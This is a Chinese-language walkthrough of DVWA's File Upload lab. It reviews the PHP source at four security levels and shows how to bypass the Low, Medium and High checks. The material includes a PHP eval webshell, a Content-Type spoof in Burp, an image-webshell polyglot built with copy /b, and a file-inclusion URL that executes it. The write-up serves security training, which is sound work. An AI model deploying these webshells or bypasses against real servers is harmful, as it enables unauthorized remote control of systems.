当前位置: 首页 > news >正文

DVWA -File Upload-通关教程-完结

DVWA -File Upload-通关教程-完结

文章目录

  • DVWA -File Upload-通关教程-完结
    • 页面功能
    • Low
    • Medium
    • High
    • Impossible

页面功能

此页面的功能为选择某个图片文件点击Upload按钮上传,上传成功后得知文件上传路径为DVWA\hackable\uploads
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Low

源码审计
这段 PHP 代码是一个简单的文件上传处理程序,它接受通过 POST 请求上传的文件,并将其保存到指定的目录中。
if( isset( $_POST[ 'Upload' ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求,说明用户尝试上传文件。
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";: 这行代码定义了上传文件的目标路径,即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量,用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );: 这行代码将上传文件的名称附加到目标路径中,以便将文件保存到正确的位置。
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败,则输出错误消息。
echo "<pre>{$target_path} succesfully uploaded!</pre>";: 如果移动成功,则输出成功消息,指示文件已成功上传到目标路径。
由此可见源码对上传文件直接移动,而文件的类型、内容没有做任何的检查、过滤。

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}
}?>

漏洞利用
由于没有任何的过滤,因此我们可以直接上传一个一句话木马.

<?php @eval($_POST['kfc']) ?>

直接上传,网页没有进行过滤,直接返回了上传成功的信息。
在这里插入图片描述
访问Webshell地址,页面为空白页面即为正常解析执行。

在这里插入图片描述打开蚁剑,使用上传的一句话木马进行连接,直接 Webshell。此时可以随意访问服务器上的任意文件,进行任意操作。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Medium

源码审计
这段 PHP 代码是一个带有文件类型和大小限制的文件上传处理程序。
if( isset( $_POST[ 'Upload' ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求,说明用户尝试上传文件。
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";: 这行代码定义了上传文件的目标路径,即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量,用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );: 这行代码将上传文件的名称附加到目标路径中,以便将文件保存到正确的位置。
// File information: 这部分代码获取了上传文件的信息,包括文件名、文件类型和文件大小。
// Is it an image?: 这行代码检查上传文件的类型和大小是否符合要求。如果上传文件是 JPEG 或 PNG 格式,并且文件大小不超过 100KB,则继续执行上传操作;否则输出错误消息。
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败,则输出错误消息。
echo "<pre>{$target_path} succesfully uploaded!</pre>";: 如果移动成功,则输出成功消息,指示文件已成功上传到目标路径。
else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; }: 如果上传文件不是 JPEG 或 PNG 格式,或者文件大小超过 100KB,则输出错误消息,指示上传的文件不符合要求。
由此可见源码会获取文件的文件名、文件类型和文件大小,它要求文件类型必须是 jpeg 或者 png,同时限制文件大小不能超过 100000B(约为97.6KB)。

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

漏洞利用
此时我们再直接传输上面的一句话木马,会发现上传失败。
在这里插入图片描述
先做个一句话木马,然后用 brup 抓包,看到上传的 PHP 文件类型会被显示在包中。
在这里插入图片描述

修改文件类型为 image/png,然后放包。
在这里插入图片描述

可以看到虽然我们传的还是一句话木马,但是通过修改 http 报文可以通过网页的白名单检测,再次蚁剑连接即可。
在这里插入图片描述

High

源码审计
这段 PHP 代码是一个带有更严格文件类型和大小限制的文件上传处理程序
if( isset( $_POST[ 'Upload' ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求,说明用户尝试上传文件。
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";: 这行代码定义了上传文件的目标路径,即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量,用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );: 这行代码将上传文件的名称附加到目标路径中,以便将文件保存到正确的位置。
// File information: 这部分代码获取了上传文件的信息,包括文件名、文件扩展名、文件大小和临时文件路径。
// Is it an image?: 这行代码检查上传文件的类型和大小是否符合要求,并使用 getimagesize() 函数验证上传文件是否为有效的图像文件。如果上传文件是 JPEG 或 PNG 格式、文件大小不超过 100KB,并且是有效的图像文件,则继续执行上传操作;否则输出错误消息。
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败,则输出错误消息。
echo "<pre>{$target_path} succesfully uploaded!</pre>";: 如果移动成功,则输出成功消息,指示文件已成功上传到目标路径。
else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; }: 如果上传文件不符合要求,则输出错误消息,指示上传的文件不符合要求。
重点:strrpos(string,find,start) 函数返回字符串 find 在另一字符串 string 中最后一次出现的位置,如果没有找到字符串则返回 false,可选参数 start 规定在何处开始搜索。getimagesize(string filename) 函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头则报错。源码通过字符串匹配来确定文件后缀名,并且查看文件的相关参数,提高了过滤的强度。

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

漏洞利用
由于源码会去检查文件头,现在我们不能再传 php 文件了,应该把一句话木马包在一张图片里面。
在这里插入图片描述

首先我们要准备一张图片和一句话木马,然后使用 copy 命令把两个文件合成为一个文件。

copy panda.jpeg/b + webshell.txt panda2.jpeg		//注意,此命令需要在windows下执行

在这里插入图片描述

然后直接上传,网页提示上传成功。但是此时是不能用蚁剑连接的,因为蚁剑的原理是向上传文件发送包含参数的 post 请求,通过控制参数来执行不同的命令。这里服务器将木马文件解析成了图片文件,因此向其发送 post 请求时,服务器并不会执行相应命令。
在这里插入图片描述

因此我们要把这张图片当做 php 来执行才行,我们可以用File Inclusion(文件包含) 漏洞,构造 payload。

?page=file:///E:\phpStudy\WWW\DVWA\hackable\uploads\panda2.jpeg

访问下看看,可以看到这个 url 使得一句话木马被解析,也就是说这个时候就可以使用蚁剑或者中国菜刀连接。
链接URL:http://192.168.197.208/DVWA/vulnerabilities/fi/?page=file:///E:\phpStudy\WWW\DVWA\hackable\uploads\panda2.jpeg
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Impossible

源码审计
到目前为止,源码将检查所有级别的所有内容。

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// Noecho '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>

相关文章:

DVWA -File Upload-通关教程-完结

DVWA -File Upload-通关教程-完结 文章目录 DVWA -File Upload-通关教程-完结页面功能LowMediumHighImpossible 页面功能 此页面的功能为选择某个图片文件点击Upload按钮上传&#xff0c;上传成功后得知文件上传路径为DVWA\hackable\uploads。 Low 源码审计 这段 PHP 代码…...

中介者模式:简化对象间通信的协调者

在面向对象的软件开发中&#xff0c;中介者模式是一种重要的行为型设计模式&#xff0c;用于降低多个对象间通信的复杂性。通过提供一个中心化的对象来处理不同组件之间的交互&#xff0c;中介者模式使得组件间不必显式引用彼此&#xff0c;从而使其松散耦合、更易于维护。本文…...

【Python系列】pydantic版本问题

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...

深度学习-多尺度训练的介绍与应用

一、引言 在当今快速发展的人工智能领域&#xff0c;多尺度训练已经成为了一种至关重要的技术&#xff0c;特别是在处理具有复杂结构和不同尺度特征的数据时。这种技术在许多应用中发挥着关键作用&#xff0c;例如图像识别、自然语言处理和视频分析等。 多尺度训练的定义 多尺…...

详解单文件组件

当你创建 Vue 单文件组件时&#xff0c;通常会包含三个部分&#xff1a;<template>、<script> 和 <style>。这三个部分分别用于定义组件的模板、逻辑和样式。让我更详细地解释一下它们的作用和用法&#xff1a; <template> <template> 标签用于…...

MLeaksFinder报错

1.报错&#xff1a;FBClassStrongLayout.mm 文件&#xff1a;layoutCache[currentClass] ivars; 解决&#xff1a;替换为layoutCache[(id)currentClass] ivars; 2.编译正常但运行时出现crash indirect_symbol_bindings[i] cur->rebinding FBRetainCycleDetector iOS15 …...

【心路历程】初次参加蓝桥杯实况

送给大家一句话&#xff1a; 寂静的光辉平铺的一刻&#xff0c;地上的每一个坎坷都被映照得灿烂。 – 史铁生 《我与地坛》 初次参加蓝桥杯有感 一点小小的震撼难评的做题过程A题 艺术与篮球问题描述解题 B 题 五子棋问题描述解题 C题 训练士兵问题描述解题 D题 团建解题 E题 …...

微信小程序全屏开屏广告

效果图 代码 <template><view><!-- 自定义头部 --><u-navbar title" " :bgColor"bgColor"><view class"u-nav-slot" slot"left"><view class"leftCon"><view class"countDown…...

记录day1

1.早上 ①协同过滤算法 基于物品基于用户分别是如何实现的 相似度的计算方式 基于用户和基于物品的区别 实时性和新物品这里&#xff1a; 实时性指的是用户有新行为&#xff0c;这样基于物品就好&#xff0c;因为用户新行为了&#xff0c;用户矩阵不会变化&#xff0c;用户…...

stm32GPio的开发基础

上拉输入&#xff1a;高电平&#xff08;弱高电平&#xff0c;一般默认&#xff09; 下拉输入&#xff1a;低电平 没有上拉下拉就是处于一个不确定的状态 推挽wan输出&#xff1a;驱动能力比较强&#xff0c;推挽是因为往外推 set就是1&#xff0c;reset就是0 XMX就是封装的…...

DataSource

目录 1、 DataSource 1.1、 * 建立数据库连接的参数对象 1.1.1、 * 数据库url 1.1.2、 * 数据库用户名 1.1.3、 * 数据库密码 1.1.4、 * 数据库驱动名称 <...

Linux防止暴力破解密码脚本

1.认识记录linux记录安全的日志 [roottestpm ~]# cd /var/log/ [roottestpm log]# ls | grep secure secure 2.该日志的内容查看 [roottestpm log]# tail -f secure #表示ssh身份验证失败 Aug 29 23:35:03 testpm sshd[111245]: pam_unix(sshd:auth): authentication fa…...

Unity 遮罩

编辑器版本 2017.2.3f1 学习Unity的三张遮罩方式 1. Mask 遮罩方式 首先&#xff0c;在界面上创建2个Image&#xff0c;一个命名Img_Mask,大小设置 400* 400&#xff0c; 一个命名Img_Show,大小设置500*500。 然后&#xff0c;给 Img_Mask添加Mask,选择Img_Mask,点击Add Com…...

jmeter实验 模拟:从CSV数据到加密请求到解密返回数据再到跨越线程组访问解密后的数据

注意,本实验所说的加密只是模拟加密解密,您需要届时写自己的加解密算法或者引用含有加密算法的相关jar包才行. 思路: 线程组1: 1.从CSV文件读取原始数据 2.将读取到的数据用BeanShell预习处理器进行加密 3.HTTP提取器使用加密后的数据发起请求 4.使用BeanShell后置处理器…...

设计模式——外观(门面)模式10

外观模式&#xff1a;能为系统框架或其他复杂业务流程封装提供一个简单的接口。 例如抽奖过程中 设计模式&#xff0c;一定要敲代码理解 调用1&#xff08;抽奖系统&#xff09; /*** author ggbond* date 2024年04月08日 10:34*/ public class Lottery {public String getId…...

第七周周一人工智能导论预告

第一讲 人工智能概述 1.1 简介 1.2人工智能的概念 1.3 人工智能的发展简史 1.4 人工智能研究的基本内容 第一讲 人工智能概述单元测试 第二讲 一阶谓词逻辑表示法 2.1 命题逻辑 2.2 谓词逻辑 2.3 一阶谓词逻辑知识表示法 第二讲 一阶谓词逻辑知识表示法单元测试 第…...

npm install 的不同选项:--save、--save-dev、-S、-D 的区别

Node.js 的包管理器 npm 提供了一个命令 npm install&#xff0c;用于安装 Node.js 项目所需的依赖包。在使用这个命令时&#xff0c;我们可以通过添加不同的选项来控制依赖包的安装方式。本文将详细介绍这些选项&#xff1a;--save、--save-dev、-S 和 -D 的区别。 1. --save…...

设计模式详解(十四)——策略模式

策略模式简介 策略模式定义 策略模式&#xff08;Strategy Pattern&#xff09;是一种行为型设计模式&#xff0c;它使能在运行时改变对象的行为。策略模式属于对象行为模式&#xff0c;它定义了一系列的算法&#xff0c;并将每一个算法封装起来&#xff0c;使它们可以互相替换…...

【牛客SQL快速入门】SQL基础(二)

一、高级查询 1. 计算函数 AVG AVG()为平均值函数&#xff0c;通过对表中行数计数并计算其列值之和&#xff0c;求得该列的平均值。 AVG() 可用来返回所有列的平均值&#xff0c;也可以用来返回特定列或行的平均值。 Select avg(gpa) From user_profile COUNT COUNT()函数…...

利用Java代码调用Lua脚本改造分布式锁

4.8 利用Java代码调用Lua脚本改造分布式锁 lua脚本本身并不需要大家花费太多时间去研究&#xff0c;只需要知道如何调用&#xff0c;大致是什么意思即可&#xff0c;所以在笔记中并不会详细的去解释这些lua表达式的含义。 我们的RedisTemplate中&#xff0c;可以利用execute方…...

生成xcframework

打包 XCFramework 的方法 XCFramework 是苹果推出的一种多平台二进制分发格式&#xff0c;可以包含多个架构和平台的代码。打包 XCFramework 通常用于分发库或框架。 使用 Xcode 命令行工具打包 通过 xcodebuild 命令可以打包 XCFramework。确保项目已经配置好需要支持的平台…...

ES6从入门到精通:前言

ES6简介 ES6&#xff08;ECMAScript 2015&#xff09;是JavaScript语言的重大更新&#xff0c;引入了许多新特性&#xff0c;包括语法糖、新数据类型、模块化支持等&#xff0c;显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var&#xf…...

docker详细操作--未完待续

docker介绍 docker官网: Docker&#xff1a;加速容器应用程序开发 harbor官网&#xff1a;Harbor - Harbor 中文 使用docker加速器: Docker镜像极速下载服务 - 毫秒镜像 是什么 Docker 是一种开源的容器化平台&#xff0c;用于将应用程序及其依赖项&#xff08;如库、运行时环…...

为什么需要建设工程项目管理?工程项目管理有哪些亮点功能?

在建筑行业&#xff0c;项目管理的重要性不言而喻。随着工程规模的扩大、技术复杂度的提升&#xff0c;传统的管理模式已经难以满足现代工程的需求。过去&#xff0c;许多企业依赖手工记录、口头沟通和分散的信息管理&#xff0c;导致效率低下、成本失控、风险频发。例如&#…...

【Go】3、Go语言进阶与依赖管理

前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课&#xff0c;做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程&#xff0c;它的核心机制是 Goroutine 协程、Channel 通道&#xff0c;并基于CSP&#xff08;Communicating Sequential Processes&#xff0…...

【android bluetooth 框架分析 04】【bt-framework 层详解 1】【BluetoothProperties介绍】

1. BluetoothProperties介绍 libsysprop/srcs/android/sysprop/BluetoothProperties.sysprop BluetoothProperties.sysprop 是 Android AOSP 中的一种 系统属性定义文件&#xff08;System Property Definition File&#xff09;&#xff0c;用于声明和管理 Bluetooth 模块相…...

项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)

Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败&#xff0c;具体原因是客户端发送了密码认证请求&#xff0c;但Redis服务器未设置密码 1.为Redis设置密码&#xff08;匹配客户端配置&#xff09; 步骤&#xff1a; 1&#xff09;.修…...

听写流程自动化实践,轻量级教育辅助

随着智能教育工具的发展&#xff0c;越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式&#xff0c;也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建&#xff0c;…...

LabVIEW双光子成像系统技术

双光子成像技术的核心特性 双光子成像通过双低能量光子协同激发机制&#xff0c;展现出显著的技术优势&#xff1a; 深层组织穿透能力&#xff1a;适用于活体组织深度成像 高分辨率观测性能&#xff1a;满足微观结构的精细研究需求 低光毒性特点&#xff1a;减少对样本的损伤…...

群晖NAS如何在虚拟机创建飞牛NAS

套件中心下载安装Virtual Machine Manager 创建虚拟机 配置虚拟机 飞牛官网下载 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-0.9.2-863.iso 群晖NAS如何在虚拟机创建飞牛NAS - 个人信息分享...